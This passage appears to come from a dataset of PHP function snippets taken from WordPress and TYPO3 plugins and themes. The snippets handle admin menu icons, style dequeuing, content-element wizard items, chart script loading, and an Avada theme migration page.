/>';\n\t\t}\n\n\t\t$content = '<table border=0 cellpadding=2 cellspacing=2>'.implode(\"\\n\",$lines).'</table>';\n\t\treturn $content;\n\t}", "function admin_menu_link() {\n //If you change this from add_options_page, MAKE SURE you change the filter_plugin_actions function (below) to\n //reflect the page filename (ie - options-general.php) of the page your plugin is under!\n add_options_page('HITS- IE6 PNG Fix', 'HITS- IE6 PNG Fix', 'edit_pages', basename(__FILE__), array(&$this,'admin_options_page'));\n add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), array(&$this, 'filter_plugin_actions'), 10, 2 );\n }", "function wpdocs_dequeue_dashicon() {\n if (current_user_can( 'update_core' )) {\n return;\n }\n wp_deregister_style('dashicons');\n}", "public function theme_installer()\n {\n }", "public function setIcons() {\n\t\t$this->icons = array(\n\t\t\t'slider' => $this->getSkinURI().'/assets/img/admin-logo-icon.png',\n\t\t\t'carousel' => $this->getSkinURI().'/assets/img/admin-logo-icon.png',\n\t\t\t'testimonial' => $this->getSkinURI().'/assets/img/admin-logo-icon.png',\n\t\t\t'portfolio' => $this->getSkinURI().'/assets/img/admin-logo-icon.png',\n\t\t\t'options' => 'dashicons-admin-generic'\n\t\t);\n\t}", "public function after_setup_theme()\n {\n }", "public function getWizardItems() {}", "function wpdocs_dequeue_dashicon() {\n\tif ( current_user_can( 'update_core' ) ) {\n\t\treturn;\n\t}\n\twp_deregister_style( 'dashicons' );\n}", "function unhook_parent_style() {\n \n wp_dequeue_style( 'genericons' );\n\twp_deregister_style( 'genericons' );\n wp_dequeue_style( 'twentyfifteen-ie' );\n\twp_deregister_style( 'twentyfifteen-ie' );\n wp_dequeue_style( 'twentyfifteen-ie7' );\n\twp_deregister_style( 'twentyfifteen-ie7' );\n wp_dequeue_style( 'twentyfifteen-fonts' );\n\twp_deregister_style( 'twentyfifteen-fonts' );\n}", "function register_block_core_site_icon_setting()\n {\n }", "function woodstock_removeDemoModeLink() {\n if ( class_exists('ReduxFrameworkPlugin') ) {\n remove_filter( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 );\n }\n if ( class_exists('ReduxFrameworkPlugin') ) {\n remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); \n }\n }", "public function afterLoadRegisterControlsUI(){\n\t\t\n\t}", "function add_transfers_icon_backend(){\n ?>\n <style type=\"text/css\">\n #menu-posts-transfers .wp-menu-image{\n background:transparent url(\"<?php bloginfo('stylesheet_directory'); ?>/images/transfers_icon.png\") no-repeat 50% 50% !important;\n background-size: 85% 85%!important;\n }\n #menu-posts-transfers .dashicons-before:before {\n content: none!important;\n }\n </style>\n <?php \n}", "function optionsframework_page_notice() { ?>\r\n\t\r\n\t\t<div class=\"wrap\">\r\n\t\t<?php screen_icon( 'themes' ); ?>\r\n\t\t<h2><?php _e(\"Theme Options\", 'organicthemes'); ?></h2>\r\n <p><b><?php _e(\"This theme requires the Options Framework plugin installed and activated to manage your theme options.\", 'organicthemes'); ?> <a href=\"<?php echo admin_url('plugin-install.php?tab=plugin-information&plugin=options-framework&TB_iframe=true&width=640&height=517'); ?>\" class=\"thickbox onclick\"><?php _e(\"Install Now\", 'organicthemes'); ?></a></b></p>\r\n\t\t</div>\r\n\t\t<?php\r\n\t}", "public function setup_wizard_template() {\n\t\t$current_step = intval( $this->step );\n\t\t?>\n\t\t<!DOCTYPE html>\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\" <?php language_attributes(); ?>>\n\t\t\t<head>\n\t\t\t\t<meta name=\"viewport\" content=\"width=device-width\" />\n\t\t\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t\t\t<title ><?php esc_html_e( 'Avada Theme Option Migration', 'Avada' ); ?></title >\n\t\t\t\t<?php do_action( 'admin_print_styles' ); ?>\n\t\t\t\t<?php do_action( 'admin_head' ); ?>\n\t\t\t\t<style>\n\t\t\t\t.avada-setup {\n\t\t\t\t\tpadding: 3% 20%;\n\t\t\t\t\tbackground-color: #f2f2f2;\n\t\t\t\t\tfont-family: \"Noto Sans\", Roboto, \"Open Sans\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", \"Oxygen-Sans\", \"Ubuntu\", \"Cantarell\", \"Helvetica Neue\", sans-serif;\n\t\t\t\t\tfont-weight:300;\n\t\t\t\t\tfont-size: 1.1em;\n\t\t\t\t}\n\t\t\t\t.update-content {\n\t\t\t\t\tmax-width: 1150px;\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t.avada-logo {\n\t\t\t\t\tmargin-bottom: 25px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-logo img {\n\t\t\t\t\tmax-width: 226.5px;\n\t\t\t\t\theight: auto;\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version {\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version-inner {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 20px;\n\t\t\t\t\tpadding: 5px 10px;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-content-wrapper {\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-box-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t\tbox-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t}\n\t\t\t\t.avada-welcome-msg {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tline-height: 1.6em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\tfont-style: italic;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-migration-link {\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-setup-content {\n\t\t\t\t\tpadding: 30px 10%;\n\t\t\t\t\tbackground: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar {\n\t\t\t\t\theight: 20px;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\tbackground: #F0F4C3;\n\t\t\t\t\tmargin: 35px 0;\n\t\t\t\t\tpadding: 1px;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar > span {\n\t\t\t\t\tdisplay: block;\n\t\t\t\t\theight: 100%;\n\t\t\t\t\tbackground-color: #8bc34a;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\toverflow: hidden;\n\t\t\t\t}\n\t\t\t\t.tasks-list {\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tlist-style: none;\n\t\t\t\t\t<?php if ( 3 < $this->steps ) : ?>\n\t\t\t\t\t\t-webkit-column-count: 2;\n\t\t\t\t\t\t-moz-column-count: 2;\n\t\t\t\t\t\tcolumn-count: 2;\n\t\t\t\t\t<?php endif; ?>\n\t\t\t\t}\n\t\t\t\t.tasks-list li .content {\n\t\t\t\t\tcolor: #333;\n\t\t\t\t}\n\t\t\t\t.tasks-list li {\n\t\t\t\t\tcolor: #f2f2f2;\n\t\t\t\t}\n\t\t\t\t.tasks-list li:before {\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f147\";\n\t\t\t\t\tfont-size: 1.4em\n\t\t\t\t}\n\t\t\t\t.tasks-list li.done {\n\t\t\t\t\tcolor: #65bc7b;\n\t\t\t\t}\n\t\t\t\t.tasks-list li.doing {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t}\n\t\t\t\t.avada-save-options {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin: 2em 0 0.67em 0;\n\t\t\t\t\tpadding: 1em 2em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-transition: all 0.3s;\n\t\t\t\t\t-moz-transition: all 0.3s;\n\t\t\t\t\t-ms-transition: all 0.3s;\n\t\t\t\t\ttransition: all 0.3s;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update {\n\t\t\t\t\tbackground-color: #ef5350;\n\t\t\t\t}\n\t\t\t\t.avada-save-options:hover {\n\t\t\t\t\tbackground-color: #5aa86c;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update:hover {\n\t\t\t\t\tbackground-color: #f44336;\n\t\t\t\t}\n\t\t\t\t.avada-footer {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tbackground: #f2f2f2;\n\t\t\t\t\tfont-size: 0.8em;\n\t\t\t\t\ttext-align: right;\n\t\t\t\t}\n\t\t\t\t.avada-themefusion-link {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t}\n\t\t\t\t.avada-separator {\n\t\t\t\t\tpadding: 0 10px;\n\t\t\t\t}\n\t\t\t\t.avada-heart {\n\t\t\t\t\tpadding-left: 5px;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\t\t\t\t.avada-heart:after {\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f487\";\n\t\t\t\t}\n\t\t\t\t</style>\n\t\t\t</head>\n\t\t\t<?php $version = Avada::get_theme_version(); ?>\n\t\t\t<body class=\"avada-setup wp-core-ui\">\n\t\t\t\t<div class=\"update-content\">\n\t\t\t\t\t<div class=\"avada-logo\">\n\t\t\t\t\t\t<img src=\"<?php echo esc_url_raw( Avada::$template_dir_url ); ?>/assets/images/logo_migration.png\" alt=\"<?php esc_html_e( 'Avada Logo', 'Avada' ); ?>\" width=\"453\" height=\"95\">\n\t\t\t\t\t\t<span class=\"avada-version\">\n\t\t\t\t\t\t\t<span class=\"avada-version-inner\"><?php echo esc_attr( $version ); ?></span>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"avada-content-wrapper\">\n\t\t\t\t\t\t<div class=\"avada-welcome-msg\">\n\t\t\t\t\t\t\t<?php\n\n\t\t\t\t\t\t\tif ( ! empty( $this->available_languages ) ) {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted (sequentially for each language, if you have a multi-lingual site). In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted. In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"avada-setup-content\">\n\t\t\t\t\t\t\t<h1 style=\"font-size:1.3em;\">\n\t\t\t\t\t\t\t\t<?php esc_html_e( 'Updating Avada Database Entries', 'Avada' ); ?>\n\t\t\t\t\t\t\t</h1>\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php /* translators: Language label. */ ?>\n\t\t\t\t\t\t\t\t<?php printf( esc_html__( 'Currently converting language: %s', 'Avada' ), '<strong>' . esc_attr( $this->active_language ) . '</strong>' ); ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php if ( $current_step >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Done!', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.75 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Almost there...', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.4 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Halfway there... Patience Padawan, Patience.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'This may take a few minutes, please wait.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) && 1 < count( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = 0; ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = array_search( $this->active_language, $this->available_languages ) + 1; ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * $current_lang_step / count( $this->available_languages ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Converting language: %1$s of %2$s.', 'Avada' ), absint( $current_lang_step ), count( $this->available_languages ) ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( $current_step <= count( $this->steps ) && isset( $this->steps[ $this->step ] ) ) : ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * ( $current_step + 1 ) / count( $this->steps ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Updating Avada Database options: step %1$s of %2$s.', 'Avada' ), intval( $this->step + 1 ), count( $this->steps ) ); ?></p>\n\t\t\t\t\t\t\t\t<ul class=\"tasks-list\">\n\t\t\t\t\t\t\t\t\t<?php foreach ( $this->steps as $key => $step ) : ?>\n\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t$li_class = '';\n\t\t\t\t\t\t\t\t\t\tif ( $key <= $current_step - 1 ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'done';\n\t\t\t\t\t\t\t\t\t\t} elseif ( $key == $current_step ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'doing';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t<li class=\"<?php echo esc_attr( $li_class ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"content\"><?php echo esc_html( $step['description'] ); ?></span>\n\t\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<?php endforeach; ?>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Congratulations, Theme Options database enrties were successfully converted.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'For best experience, please clear your browser cache once.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Dynamic-CSS caches have been auto reset.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( intval( $this->step ) >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<a class=\"avada-save-options\" href=\"<?php echo esc_url_raw( admin_url( 'index.php?fusion_builder_migrate=1&ver=500' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t<?php esc_attr_e( 'Take Me To Shortcode Conversion', 'Avada' ); ?>\n\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<?php /* translators: (heart) icon. */ ?>\n\t\t\t\t\t\t<div class=\"avada-footer\"><a class=\"avada-themefusion-link\" href=\"https://theme-fusion.com\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"ThemeFusion\">ThemeFusion</a><span class=\"avada-separator\">|</span><?php printf( esc_html__( 'Created with %s', 'Avada' ), '<span class=\"avada-heart\"></span>' ); ?></div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<?php echo $this->redirect_script(); // phpcs:ignore WordPress.Security.EscapeOutput ?>\n\t\t\t\t</div>\n\t\t\t</body>\n\t\t</html>\n\t\t<?php\n\t}", "function wpdocs_dequeue_dashicon() {\n\tif (current_user_can( 'update_core' )) {\n\t\treturn;\n\t}\n\twp_deregister_style('dashicons');\n}", "public function proc(array $wizardItems)\n {\n $wizardIcon = 'res/icons/be/ce_wiz.gif';\n $params = '&defVals[tt_content][CType]=list&defVals[tt_content][list_type]=5';\n $languageSubpath = '/Resources/Private/Language/';\n\n $wizardItem = [\n 'title' => $GLOBALS['LANG']->sL('LLL:EXT:' . TT_PRODUCTS_EXT . $languageSubpath . 'locallang.xlf:plugins_title'),\n 'description' => $GLOBALS['LANG']->sL('LLL:EXT:' . TT_PRODUCTS_EXT . $languageSubpath . 'locallang.xlf:plugins_description'),\n 'params' => $params\n ];\n\n $iconIdentifier = 'extensions-tt_products-wizard';\n /** @var \\TYPO3\\CMS\\Core\\Imaging\\IconRegistry $iconRegistry */\n $iconRegistry = GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Core\\\\Imaging\\\\IconRegistry');\n $iconRegistry->registerIcon(\n $iconIdentifier,\n 'TYPO3\\\\CMS\\\\Core\\\\Imaging\\\\IconProvider\\\\BitmapIconProvider',\n [\n 'source' => 'EXT:' . TT_PRODUCTS_EXT . '/' . $wizardIcon,\n ]\n );\n $wizardItem['iconIdentifier'] = $iconIdentifier;\n\n $wizardItems['plugins_tx_ttproducts_pi1'] = $wizardItem;\n\n return $wizardItems;\n }", "function myplugin_header_icon() {\n\n\t$icon_url = plugins_url('images/swpf-icon-header.png', __FILE__ ); ?>\n \t\n\t<div id=\"icon-myplugin\" class=\"icon32\"><img src=\"<?php echo $icon_url; ?>\"></div><?php\n\n}", "function proc($wizardItems)\t {\r\n\r\n // source file\r\n $lll = \"LLL:EXT:kf_categoryfilter/Resources/Private/Language/locallang.xlf\";\r\n\r\n $wizardItems['plugins_tx_kfcategoryfilter_pi1'] = array(\r\n 'icon' => \\TYPO3\\CMS\\Core\\Utility\\ExtensionManagementUtility::extRelPath('kf_categoryfilter') . 'Resources/Public/Icons/pi1.gif',\r\n 'title' => $GLOBALS['LANG']->sL(\"{$lll}:kf_categoryfilter_wizard_title\"),\r\n 'description' => $GLOBALS['LANG']->sL(\"{$lll}:kf_categoryfilter_wizard_description\"),\r\n 'params' => '&defVals[tt_content][CType]=list&&defVals[tt_content][list_type]=kfcategoryfilter_pi1'\r\n );\r\n\r\n return $wizardItems;\r\n }", "function sl_admin_favicon() {\n\techo '<link rel=\"Shortcut Icon\" type=\"image/x-icon\" href=\"' .plugins_url('images/dashboard.png', __FILE__). '\" />';\n}", "function optinpanda_icon_admin_assets( $hook ) { global $optinpanda;\r\nif ( !in_array( $optinpanda->license->type, array( 'free' ) ) ) {\r\n return; \r\n}\r\n\r\n\r\n ?>\r\n <style>\r\n #toplevel_page_license-manager-optinpanda div.wp-menu-image,\r\n #toplevel_page_license-manager-optinpanda:hover div.wp-menu-image,\r\n #toplevel_page_license-manager-optinpanda.wp-has-current-submenu div.wp-menu-image {\r\n background-position: 8px -30px !important;\r\n }\r\n </style>\r\n <?php\r\n \r\n\r\n}", "public function proc($wizardItems)\n {\n $wizardItems['plugins_tx_' . $this->extKey] = array(\n 'icon' => \\TYPO3\\CMS\\Core\\Utility\\ExtensionManagementUtility::extRelPath($this->extKey) . 'Resources/Public/Icons/pb_logo.gif',\n 'title' => $GLOBALS['LANG']->sL('LLL:EXT:pb_social/Resources/Private/Language/de.locallang_db.xlf:socialfeed_wizard.title'),\n 'description' => $GLOBALS['LANG']->sL('LLL:EXT:pb_social/Resources/Private/Language/de.locallang_db.xlf:socialfeed_wizard.description'),\n 'params' => '&defVals[tt_content][CType]=list&defVals[tt_content][list_type]=' . $this->pluginSignature\n );\n return $wizardItems;\n }", "function wprbd_menu_pages(){\n\n\tadd_menu_page('WPRBD Settings','WPRBD','manage_options','wprbd','wprbd_settings_page',WPRBD_PATH.'images/icon_wrapper.png',20);\n\n}", "protected function _getAdditionalElementTypes() {\n\t\treturn array(\n\t\t\t'image' => Mage::getConfig()->getBlockClassName('flexslider/adminhtml_slide_helper_image')\n\t\t);\n\t}", "public function shouldRenderWizard() {}", "public function getIcon()\n {\n return 'voyager-external';\n }", "public function getIconForRecordWithMockRecordOfTypePluginReturnsPluginIcon() {}", "protected function registerButtons() {}", "protected function registerButtons() {}", "function crd_create_menu() {\n add_menu_page(\n 'My Cool Plugin Settings',\n 'Cool Settings',\n 'administrator',\n __FILE__,\n 'crd_settings_page',\n plugins_url('/images/icon.png', __FILE__)\n );\n}", "function hxp_plugin_deactivation() {\n\twp_dequeue_style( 'hxp_custom_style' );\n\twp_deregister_style( 'hxp_custom_style' );\n\twp_dequeue_script( 'hxp_export_script' );\n\twp_dequeue_script( 'hxp_import_script' );\n\twp_deregister_script( 'hxp_export_script' );\n\t$hxp_upload_dir = wp_upload_dir();\n\thxp_rrmdir( $hxp_upload_dir['basedir'] . '/hxp_exports' );\n\thxp_rrmdir( $hxp_upload_dir['basedir'] . '/hxp_imports' );\n}", "function load_icons() {\n themify_get_icon( 'ti-import' );\n themify_get_icon( 'ti-export' );\n Themify_Enqueue_Assets::loadIcons();\n }", "function classieraRemoveReduxDemoModeLink() { // Be sure to rename this function to something more unique\r\n if ( class_exists('ReduxFrameworkPlugin') ) {\r\n remove_filter( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 );\r\n }\r\n if ( class_exists('ReduxFrameworkPlugin') ) {\r\n remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); \r\n }\r\n}", "public function get_icon() {\n return 'fa fa-plug';\n }", "public function get_icon() {\n return 'fa fa-plug';\n }", "public function get_icon() {\n return 'fa fa-plug';\n }", "function wdtChartWizardEnqueue()\n{\n WDTTools::wdtUIKitEnqueue();\n\n wp_enqueue_style('wdt-dragula');\n wp_enqueue_style('wdt-chart-wizard-css', WDT_CSS_PATH . 'admin/chart_wizard.css', array(), WDT_CURRENT_VERSION);\n\n wp_enqueue_script('wdt-jsrender');\n wp_enqueue_script('wdt-dragula');\n wp_enqueue_script('wdt-google-charts', '//www.gstatic.com/charts/loader.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-highcharts', '//code.highcharts.com/highcharts.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-highcharts-more', '//code.highcharts.com/highcharts-more.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-highcharts-3d', '//code.highcharts.com/highcharts-3d.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-heatmap', '//code.highcharts.com/modules/heatmap.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-treemap', '//code.highcharts.com/modules/treemap.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-exporting', '//code.highcharts.com/modules/exporting.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-chart-js', WDT_JS_PATH . 'chartjs/Chart.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-common');\n wp_enqueue_script('wdt-color-pickr-init');\n wp_enqueue_script('wdt-chart-wizard', WDT_JS_PATH . 'wpdatatables/wdt.chartWizard.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-wp-google-chart', WDT_JS_PATH . 'wpdatatables/wdt.googleCharts.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-wp-highcharts', WDT_JS_PATH . 'wpdatatables/wdt.highcharts.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-wp-chart-js', WDT_JS_PATH . 'wpdatatables/wdt.chartJS.js', array(), WDT_CURRENT_VERSION, true);\n wp_enqueue_script('wdt-doc-js');\n\n wp_localize_script('wdt-chart-wizard', 'wpdatatablesEditStrings', WDTTools::getTranslationStrings());\n\n}", "public function htheme_hooks(){\r\n\r\n\t\t$settings = array (\r\n\t\t\t'icon' => 'icon_element_row'\r\n\t\t);\r\n\t\tvc_map_update( 'vc_row', $settings );\r\n\r\n\t\t$settings = array (\r\n\t\t\t'icon' => 'icon_element_text_block'\r\n\t\t);\r\n\t\tvc_map_update( 'vc_column_text', $settings );\r\n\r\n\t\t$settings = array (\r\n\t\t\t'icon' => 'icon_element_icon'\r\n\t\t);\r\n\t\tvc_map_update( 'vc_icon', $settings );\r\n\r\n\t\t// ~ REMOVE DEFAULTS\r\n\r\n\t\t#REMOVE DEFAULT ELEMENTS\r\n\t\tadd_filter( 'vc_build_admin_page', array($this,'htheme_remove_default_elements'), 11 );\r\n\r\n\t\t#ACTION FOR REMOVING DEFAULT TEMPLATES\r\n\t\tadd_filter( 'vc_load_default_templates', array($this, 'htheme_my_custom_template_modify_array') );\r\n\r\n\t\t// ~ ELEMENTS\r\n\r\n\t\t#ACTION FOR ADDING CUSTOM ELEMENT\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_banner_element') ); // ~ BANNER\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_launch_element') ); // ~ LAUNCH PADS\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_title_element') ); // ~ TITLE\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_blog_element') ); // ~ BLOG\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_blog_carousel_element') ); // ~ BLOG CAROUSEL\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_instagram_element') ); // ~ INSTAGRAM\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_imgcarousel_element') ); // ~ IMG CAROUSEL\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_contact_form_element')); // ~ CONTACT FORM ELEMENT\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_map_element')); // ~ MAP ELEMENT\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_line_element')); // ~ HORIZONTAL LINE ELEMENT\r\n\r\n\t\t#IF POST TYPES ARE AVAILABLE\r\n\t\tif(is_plugin_active( 'hutility/hutility.php' )){\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_people_element')); // ~ PEOPLE/MEMBERS ELEMENT\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_signup_form_element')); // ~ NEWSLETTER SIGNUP FORM ELEMENT\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_lookbooks')); // ~ LOOKBOOKS\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_testimonial_element') ); // ~ TESTIMONIAL\r\n\t\t}\r\n\r\n\t\t#ADD PARAMS\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_add_params')); // ~ HORIZONTAL LINE ELEMENT\r\n\r\n\t\t#REMOVE PARAMS\r\n\t\tadd_action('vc_before_init', array($this, 'htheme_remove_params')); // ~ HORIZONTAL LINE ELEMENT\r\n\r\n\t\t#IF WOOCOMMERCE CLASS EXIST - ADD WOO VISUAL COMPOSER ELEMENTS\r\n\t\tif ( class_exists( 'WooCommerce' ) ){\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_woolist_element')); // ~ WOO LIST\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_woocategory_element')); // ~ WOO CATEGORY\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_woocol_element')); // ~ WOO COL\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_look_element')); // ~ GET THE LOOK\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_promo_element')); // ~ PROMO\r\n\t\t\tadd_action('vc_before_init', array($this, 'htheme_top_ten')); // ~ TOP TEN\r\n\t\t}\r\n\r\n\t\t// ~ TEMPLATES\r\n\r\n\t\t#ACTION FOR ADDING A TEMPLATE\r\n\t\tadd_filter( 'vc_load_default_templates', array($this, 'htheme_my_custom_template_at_first_position') );\r\n\r\n\t}", "function immedia_vc_before_init_actions() {\n\ninclude( plugin_dir_path( __FILE__ ) . 'vc-directory-element.php');\n\n}", "function initializeFixExtensionDialog() {\n if (isset($this->params['file_id']) && $this->params['file_id'] != '') {\n $fileExtension = $this->getFileExtension($this->currentFile['file_name']);\n $extensions = $this->mimeObj->getMimeTypesExtensions($this->currentFile['mimetype_id']);\n $result = '';\n $result .= sprintf(\n '<listview title=\"%s\">'.LF,\n papaya_strings::escapeHTMLChars($this->_gt('Fix extension'))\n );\n $result .= '<items>'.LF;\n\n $result .= '<listitem>'.LF;\n $result .= 